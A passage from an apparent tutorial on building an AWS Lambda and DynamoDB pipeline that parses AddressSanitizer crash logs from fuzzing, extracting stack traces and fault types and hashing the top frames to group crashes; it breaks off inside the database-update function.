<p>We can then test our lambda function is working by running the following script to simulate a fuzzer putting an item to the database:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws dynamodb put-item <span class="se">\</span>
	<span class="nt">--table-name</span> Crashes <span class="se">\</span>
	<span class="nt">--item</span> file://post.json <span class="se">\</span>
	<span class="nt">--return-consumed-capacity</span> TOTAL
</code></pre></div></div>

<p>We can check to see if our function has executed correctly as follows:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws lambda list-event-source-mappings <span class="nt">--function-name</span> TriageLambda
<span class="o">{</span>
    <span class="s2">"EventSourceMappings"</span>: <span class="o">[</span>
        <span class="o">{</span>
            <span class="s2">"UUID"</span>: <span class="s2">"*****"</span>,
            <span class="s2">"BatchSize"</span>: 1,
            <span class="s2">"MaximumBatchingWindowInSeconds"</span>: 0,
            <span class="s2">"ParallelizationFactor"</span>: 1,
            <span class="s2">"EventSourceArn"</span>: <span class="s2">"arn:aws:dynamodb:eu-west-2:***********:table/Crashes/stream/2020-04-08T09:30:19.619"</span>,
            <span class="s2">"FunctionArn"</span>: <span class="s2">"arn:aws:lambda:eu-west-2::***********::function:TriageLambda"</span>,
            <span class="s2">"LastModified"</span>: <span class="s2">"2020-04-09T10:37:00+01:00"</span>,
            <span class="s2">"LastProcessingResult"</span>: <span class="s2">"OK"</span>,
            <span class="s2">"State"</span>: <span class="s2">"Enabled"</span>,
            <span class="s2">"StateTransitionReason"</span>: <span class="s2">"User action"</span>,
            <span class="s2">"DestinationConfig"</span>: <span class="o">{</span>
                <span class="s2">"OnFailure"</span>: <span class="o">{}</span>
            <span class="o">}</span>,
            <span class="s2">"MaximumRecordAgeInSeconds"</span>: 604800,
            <span class="s2">"BisectBatchOnFunctionError"</span>: <span class="nb">false</span>,
            <span class="s2">"MaximumRetryAttempts"</span>: 10000
        <span class="o">}</span>
    <span class="o">]</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The list returns all of the event source mappings you created, and for each mapping it shows the LastProcessingResult, among other things. This field is used to provide an informative message if there are any problems. Values such as No records processed (indicates that AWS Lambda has not started polling or that there are no records in the stream) and OK (indicates AWS Lambda successfully read records from the stream and invoked your Lambda function) indicate that there are no issues. If there are issues, you receive an error message.</p>

<p>Looking in Cloudwatch logs we can now see the following output:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w">
</span><span class="p">{</span><span class="err">'Records':</span><span class="w"> </span><span class="p">[{</span><span class="err">'eventID':</span><span class="w"> </span><span class="err">'</span><span class="mi">99</span><span class="err">c</span><span class="mi">8</span><span class="err">a</span><span class="mi">9</span><span class="err">f</span><span class="mi">0</span><span class="err">d</span><span class="mi">9</span><span class="err">eef</span><span class="mi">8</span><span class="err">fcf</span><span class="mi">70</span><span class="err">a</span><span class="mi">0e9</span><span class="err">faeb</span><span class="mi">62894</span><span class="err">'</span><span class="p">,</span><span class="w"> </span><span class="err">'eventName':</span><span class="w"> </span><span class="err">'INSERT'</span><span class="p">,</span><span class="w"> </span><span class="err">'eventVersion':</span><span class="w"> </span><span class="err">'</span><span class="mf">1.1</span><span class="err">'</span><span class="p">,</span><span class="w"> </span><span class="err">'eventSource':</span><span class="w"> </span><span class="err">'aws:dynamodb'</span><span class="p">,</span><span class="w"> </span><span class="err">'awsRegion':</span><span class="w"> </span><span class="err">'eu-west</span><span class="mi">-2</span><span class="err">'</span><span class="p">,</span><span class="w"> </span><span class="err">'dynamodb':</span><span class="w"> </span><span class="p">{</span><span class="err">'ApproximateCreationDateTime':</span><span class="w"> </span><span class="mf">1586339400.0</span><span class="p">,</span><span class="w"> </span><span class="err">'Keys':</span><span class="w"> </span><span class="p">{</span><span class="err">'UUID':</span><span class="w"> </span><span class="p">{</span><span class="err">'S':</span><span class="w"> </span><span class="err">'*****-c</span><span class="mi">820-4e81-9909-157e3</span><span class="err">dea</span><span class="mi">06</span><span class="err">d</span><span class="mi">4</span><span class="err">'</span><span class="p">}},</span><span class="w"> </span><span class="err">'NewImage':</span><span class="w"> </span><span class="p">{</span><span class="err">'asan_log':</span><span class="w"> </span><span class="p">{</span><span class="err">'S':</span><span class="w"> </span><span class="s2">"=================================================================</span><span class="se">\n</span><span class="s2">==1382==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffee99d8a40 at pc 0x00010628a26b bp 0x7ffee99d8910 sp 0x7ffee99d80c0</span><span class="se">\n</span><span class="s2">WRITE of size 1024 at 0x7ffee99d8a40 thread T0</span><span class="se">\n</span><span class="s2">    #0 0x10628a26a in __asan_memset (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5f26a)</span><span class="se">\n</span><span class="s2">    #1 0x106227e48 in main overflow.c:4</span><span class="se">\n</span><span class="s2">    #2 0x7fff6ba707fc in start (libdyld.dylib:x86_64+0x1a7fc)</span><span class="se">\n\n</span><span class="s2">Address 0x7ffee99d8a40 is located in stack of thread T0 at offset 288 in frame</span><span class="se">\n</span><span class="s2">    #0 0x106227d0f in main overflow.c:2</span><span class="se">\n\n</span><span class="s2">  This frame has 1 object(s):</span><span class="se">\n</span><span class="s2">    [32, 288) 'buf' (line 3) &lt;== Memory access at offset 288 overflows this variable</span><span class="se">\n</span><span class="s2">HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork</span><span class="se">\n</span><span class="s2">      (longjmp and C++ exceptions *are* supported)</span><span class="se">\n</span><span class="s2">SUMMARY: AddressSanitizer: stack-buffer-overflow (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5f26a) in __asan_memset</span><span class="se">\n</span><span class="s2">Shadow bytes around the buggy address:</span><span class="se">\n</span><span class="s2">  0x1fffdd33b0f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">  0x1fffdd33b100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">  0x1fffdd33b110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">  0x1fffdd33b120: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">  0x1fffdd33b130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">=&gt;0x1fffdd33b140: 00 00 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3</span><span class="se">\n</span><span class="s2">  0x1fffdd33b150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">  0x1fffdd33b160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">  0x1fffdd33b170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">  0x1fffdd33b180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">  0x1fffdd33b190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><span class="se">\n</span><span class="s2">Shadow byte legend (one shadow byte represents 8 application bytes):</span><span class="se">\n</span><span class="s2">  Addressable:           00</span><span class="se">\n</span><span class="s2">  Partially addressable: 01 02 03 04 05 06 07 </span><span class="se">\n</span><span class="s2">  Heap left redzone:       fa</span><span class="se">\n</span><span class="s2">  Freed heap region:       fd</span><span class="se">\n</span><span class="s2">  Stack left redzone:      f1</span><span class="se">\n</span><span class="s2">  Stack mid redzone:       f2</span><span class="se">\n</span><span class="s2">  Stack right redzone:     f3</span><span class="se">\n</span><span class="s2">  Stack after return:      f5</span><span class="se">\n</span><span class="s2">  Stack use after scope:   f8</span><span class="se">\n</span><span class="s2">  Global redzone:          f9</span><span class="se">\n</span><span class="s2">  Global init order:       f6</span><span class="se">\n</span><span class="s2">  Poisoned by user:        f7</span><span class="se">\n</span><span class="s2">  Container overflow:      fc</span><span class="se">\n</span><span class="s2">  Array cookie:            ac</span><span class="se">\n</span><span class="s2">  Intra object redzone:    bb</span><span class="se">\n</span><span class="s2">  ASan internal:           fe</span><span class="se">\n</span><span class="s2">  Left alloca redzone:     ca</span><span class="se">\n</span><span class="s2">  Right alloca redzone:    cb</span><span class="se">\n</span><span class="s2">  Shadow gap:              cc</span><span class="se">\n</span><span class="s2">==1382==ABORTING</span><span class="se">\n</span><span class="s2">"</span><span class="p">},</span><span class="w"> </span><span class="err">'UUID':</span><span class="w"> </span><span class="p">{</span><span class="err">'S':</span><span class="w"> </span><span class="err">'fb</span><span class="mi">82e2</span><span class="err">bb-c</span><span class="mi">820-4e81-9909-157e3</span><span class="err">dea</span><span class="mi">06</span><span class="err">d</span><span class="mi">4</span><span class="err">'</span><span class="p">}},</span><span class="w"> </span><span class="err">'SequenceNumber':</span><span class="w"> </span><span class="err">'</span><span class="mi">400000000007861311075</span><span class="err">'</span><span class="p">,</span><span class="w"> </span><span class="err">'SizeBytes':</span><span class="w"> </span><span class="mi">2485</span><span class="p">,</span><span class="w"> </span><span class="err">'StreamViewType':</span><span class="w"> </span><span class="err">'NEW_AND_OLD_IMAGES'</span><span class="p">},</span><span class="w"> </span><span class="err">'eventSourceARN':</span><span class="w"> </span><span class="err">'arn:aws:dynamodb:eu-west</span><span class="mi">-2</span><span class="err">:***********:table/Crashes/stream/</span><span class="mi">2020-04-08</span><span class="err">T</span><span class="mi">09</span><span class="err">:</span><span class="mi">30</span><span class="err">:</span><span class="mf">19.619</span><span class="err">'</span><span class="p">}]}</span><span class="w">
</span></code></pre></div></div>
<p>Now we can write our log extraction and database modification code to perform extraction of the log file.</p>

<h2 id="log-parsing">Log Parsing</h2>

<p>As a quick example we will demonstrate parsing a ASAN log file. The log file here is just from a simple stack overflow.</p>

<p>The code will extract the following:</p>
<ul>
  <li>Stack Trace</li>
  <li>Faulting Instruction</li>
  <li>Type of Crash</li>
</ul>

<p>It will also create a hash to allow for crash binning (we could also bucket crashes in the database like this).</p>

<p>Firstly we need to obtain the log file passed as the ‘asan_log’ event parameter from the event:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">"""
This lambda function demonstrates log parsing and updating the database according to crash logs.
"""</span>

<span class="kn">import</span> <span class="nn">json</span>

<span class="k">def</span> <span class="nf">my_handler</span><span class="p">(</span><span class="n">event</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
    <span class="c1">#print(event)
</span>    <span class="c1">#asan_log = event['asan_log']
</span>    <span class="c1">#print(asan_log)
</span>    <span class="n">message</span> <span class="o">=</span> <span class="s">"test"</span>
    <span class="k">for</span> <span class="n">record</span> <span class="ow">in</span> <span class="n">event</span><span class="p">[</span><span class="s">'Records'</span><span class="p">]:</span>
        <span class="k">if</span> <span class="n">record</span><span class="p">[</span><span class="s">'eventName'</span><span class="p">]</span> <span class="o">==</span> <span class="s">"INSERT"</span><span class="p">:</span>
            <span class="n">message</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">record</span><span class="p">[</span><span class="s">'dynamodb'</span><span class="p">][</span><span class="s">'NewImage'</span><span class="p">][</span><span class="s">'asan_log'</span><span class="p">][</span><span class="s">'S'</span><span class="p">])</span>
            <span class="k">print</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>

    <span class="k">return</span> <span class="p">{</span> 
        <span class="s">'message'</span> <span class="p">:</span> <span class="n">message</span>
    <span class="p">}</span>
</code></pre></div></div>
<p>Now we can implement our log parsing logic to extract the relevant parts of the log.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">boto3</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">binascii</span>

<span class="k">class</span> <span class="nc">asanlogparse</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">log_data</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"++ parsing asan output"</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">log_data</span> <span class="o">=</span> <span class="n">log_data</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span> <span class="o">=</span> <span class="s">""</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">read_or_write</span> <span class="o">=</span> <span class="s">""</span>

    <span class="k">def</span> <span class="nf">print_stack</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">process_log</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">read_or_write</span> <span class="o">=</span> <span class="bp">False</span>

        <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">log_data</span><span class="p">:</span>
            <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>
            <span class="c1">#print(line)
</span>
            <span class="n">stack_trace_line_format</span> <span class="o">=</span> <span class="p">(</span><span class="s">'^( *#([0-9]+) *)(0x[0-9a-f]+) in (.*)'</span><span class="p">)</span>
            <span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">match</span><span class="p">(</span><span class="n">stack_trace_line_format</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>

            <span class="k">if</span> <span class="ow">not</span> <span class="n">match</span><span class="p">:</span>
                <span class="k">if</span> <span class="s">"ERROR: AddressSanitizer"</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
                    <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span> <span class="o">=</span> <span class="n">line</span>
                    <span class="bp">self</span><span class="p">.</span><span class="n">parse_error_line</span><span class="p">()</span>
                <span class="k">elif</span> <span class="s">"READ"</span> <span class="ow">in</span> <span class="n">line</span> <span class="ow">or</span> <span class="s">"WRITE"</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
                    <span class="k">if</span> <span class="ow">not</span> <span class="n">read_or_write</span><span class="p">:</span>
                        <span class="bp">self</span><span class="p">.</span><span class="n">read_or_write</span> <span class="o">=</span> <span class="n">line</span>
                <span class="c1">#print("++ no match")
</span>                <span class="k">continue</span>

            <span class="n">_</span><span class="p">,</span> <span class="n">frameno_str</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="n">symbol</span> <span class="o">=</span> <span class="n">match</span><span class="p">.</span><span class="n">groups</span><span class="p">()</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">symbol</span><span class="p">)</span>
            <span class="c1">#print frameno_str, addr, symbol
</span>
    <span class="s">""" ==3909== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7fd82049edbd at pc 0x40bcbb bp 0x7fff08117a00 sp 0x7fff081179e8 """</span>
    <span class="k">def</span> <span class="nf">extract_error_line</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span>

    <span class="k">def</span> <span class="nf">parse_error_line</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">pattern</span> <span class="o">=</span> <span class="s">".*(0x[0-9a-f]+).*(0x[0-9a-f]+).*(0x[0-9a-f]+).*(0x[0-9a-f]+)"</span>
        <span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">match</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span><span class="bp">self</span><span class="p">.</span><span class="n">error_line</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">match</span><span class="p">:</span>
             <span class="n">address</span> <span class="o">=</span> <span class="s">""</span>
             <span class="n">pc</span> <span class="o">=</span> <span class="s">""</span>
             <span class="n">bp</span> <span class="o">=</span> <span class="s">""</span>
             <span class="n">sp</span> <span class="o">=</span> <span class="s">""</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">address</span><span class="p">,</span> <span class="n">pc</span><span class="p">,</span> <span class="n">bp</span><span class="p">,</span> <span class="n">sp</span> <span class="o">=</span> <span class="n">match</span><span class="p">.</span><span class="n">groups</span><span class="p">()</span>
        <span class="k">return</span> <span class="s">"Fault Address: "</span> <span class="o">+</span> <span class="n">address</span> <span class="o">+</span> <span class="s">" PC: "</span> <span class="o">+</span> <span class="n">pc</span> <span class="o">+</span> <span class="s">" BP: "</span> <span class="o">+</span> <span class="n">bp</span> <span class="o">+</span> <span class="s">" SP: "</span> <span class="o">+</span> <span class="n">sp</span>

    <span class="k">def</span> <span class="nf">type_of_fault</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">if</span> <span class="s">"heap-buffer-overflow"</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"heap-buffer-overflow"</span>
        <span class="k">elif</span> <span class="s">"heap-use-after-free"</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"heap-use-after-free"</span>
        <span class="k">elif</span> <span class="s">"stack-buffer-overflow"</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"stack-buffer-overflow"</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"UNKNOWN"</span>

    <span class="k">def</span> <span class="nf">get_read_or_write</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">read_or_write</span>

    <span class="k">def</span> <span class="nf">stack_hash</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="n">stack_hash</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha1</span><span class="p">()</span>
        <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">5</span><span class="p">:</span>
                <span class="k">break</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">stack_hash</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">l</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
                <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>

        <span class="k">return</span> <span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">stack_hash</span><span class="p">.</span><span class="n">digest</span><span class="p">())</span>

    <span class="k">def</span> <span class="nf">get_stackframe</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">stack_lines</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">10</span><span class="p">:</span>
                <span class="k">break</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">stack_lines</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
                <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
        <span class="k">return</span> <span class="n">stack_lines</span>
</code></pre></div></div>

<h2 id="database-update-code">Database Update Code</h2>

<p>Putting this all together, we can add the update DynamoDB code with new fields to provide this metadata to allow for queries.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="s">""" 
This lambda function demonstrates log parsing and updating the database according to crash logs.
"""</span>

<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">boto3</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">binascii</span>

<span class="k">class</span> <span class="nc">asanlogparse</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">log_data</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"++ parsing asan output"</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">log_data</span> <span class="o">=</span> <span class="n">log_data</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span> <span class="o">=</span> <span class="s">""</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">read_or_write</span> <span class="o">=</span> <span class="s">""</span>

    <span class="k">def</span> <span class="nf">print_stack</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">process_log</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">read_or_write</span> <span class="o">=</span> <span class="bp">False</span>

        <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">log_data</span><span class="p">:</span>
            <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>
            <span class="c1">#print(line)
</span>
            <span class="n">stack_trace_line_format</span> <span class="o">=</span> <span class="p">(</span><span class="s">'^( *#([0-9]+) *)(0x[0-9a-f]+) in (.*)'</span><span class="p">)</span>
            <span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">match</span><span class="p">(</span><span class="n">stack_trace_line_format</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>

            <span class="k">if</span> <span class="ow">not</span> <span class="n">match</span><span class="p">:</span>
                <span class="k">if</span> <span class="s">"ERROR: AddressSanitizer"</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
                    <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span> <span class="o">=</span> <span class="n">line</span>
                    <span class="bp">self</span><span class="p">.</span><span class="n">parse_error_line</span><span class="p">()</span>
                <span class="k">elif</span> <span class="s">"READ"</span> <span class="ow">in</span> <span class="n">line</span> <span class="ow">or</span> <span class="s">"WRITE"</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
                    <span class="k">if</span> <span class="ow">not</span> <span class="n">read_or_write</span><span class="p">:</span>
                        <span class="bp">self</span><span class="p">.</span><span class="n">read_or_write</span> <span class="o">=</span> <span class="n">line</span>
                <span class="c1">#print("++ no match")
</span>                <span class="k">continue</span>

            <span class="n">_</span><span class="p">,</span> <span class="n">frameno_str</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="n">symbol</span> <span class="o">=</span> <span class="n">match</span><span class="p">.</span><span class="n">groups</span><span class="p">()</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">symbol</span><span class="p">)</span>
            <span class="c1">#print frameno_str, addr, symbol
</span>
    <span class="s">""" ==3909== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7fd82049edbd at pc 0x40bcbb bp 0x7fff08117a00 sp 0x7fff081179e8 """</span>
    <span class="k">def</span> <span class="nf">extract_error_line</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span>

    <span class="k">def</span> <span class="nf">parse_error_line</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">pattern</span> <span class="o">=</span> <span class="s">".*(0x[0-9a-f]+).*(0x[0-9a-f]+).*(0x[0-9a-f]+).*(0x[0-9a-f]+)"</span>
        <span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">match</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span><span class="bp">self</span><span class="p">.</span><span class="n">error_line</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">match</span><span class="p">:</span>
             <span class="n">address</span> <span class="o">=</span> <span class="s">""</span>
             <span class="n">pc</span> <span class="o">=</span> <span class="s">""</span>
             <span class="n">bp</span> <span class="o">=</span> <span class="s">""</span>
             <span class="n">sp</span> <span class="o">=</span> <span class="s">""</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">address</span><span class="p">,</span> <span class="n">pc</span><span class="p">,</span> <span class="n">bp</span><span class="p">,</span> <span class="n">sp</span> <span class="o">=</span> <span class="n">match</span><span class="p">.</span><span class="n">groups</span><span class="p">()</span>
        <span class="k">return</span> <span class="s">"Fault Address: "</span> <span class="o">+</span> <span class="n">address</span> <span class="o">+</span> <span class="s">" PC: "</span> <span class="o">+</span> <span class="n">pc</span> <span class="o">+</span> <span class="s">" BP: "</span> <span class="o">+</span> <span class="n">bp</span> <span class="o">+</span> <span class="s">" SP: "</span> <span class="o">+</span> <span class="n">sp</span>

    <span class="k">def</span> <span class="nf">type_of_fault</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">if</span> <span class="s">"heap-buffer-overflow"</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"heap-buffer-overflow"</span>
        <span class="k">elif</span> <span class="s">"heap-use-after-free"</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"heap-use-after-free"</span>
        <span class="k">elif</span> <span class="s">"stack-buffer-overflow"</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">error_line</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"stack-buffer-overflow"</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"UNKNOWN"</span>

    <span class="k">def</span> <span class="nf">get_read_or_write</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">read_or_write</span>

    <span class="k">def</span> <span class="nf">stack_hash</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="n">stack_hash</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha1</span><span class="p">()</span>
        <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">5</span><span class="p">:</span>
                <span class="k">break</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">stack_hash</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">l</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
                <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>

        <span class="k">return</span> <span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">stack_hash</span><span class="p">.</span><span class="n">digest</span><span class="p">())</span>

    <span class="k">def</span> <span class="nf">get_stackframe</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">stack_lines</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">symbolized_lines</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">10</span><span class="p">:</span>
                <span class="k">break</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">stack_lines</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
                <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
        <span class="k">return</span> <span class="n">stack_lines</span>

<span class="k">def</span> <span class="nf">update_dynamodb</span><span class="p">(</span><span class="n">uuid</span><span class="p">,</span><span class="n">stack_hash</span><span class="p">,</span><span class="n">error_line</span><span class="p">):</span>
    <span class="n">dynamodb</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="n">resource</span><span class="p">(</span><span class="s">'dynamodb'</span><span class="p">)</span>
    <span class="n">table</span> <span class="o">=</span> <span class="n">dynamodb</span><span class="p">.</span><span class="n">Table</span><span class="p">(</span><span class="s">'Crashes'</span><span class="p">)</span>
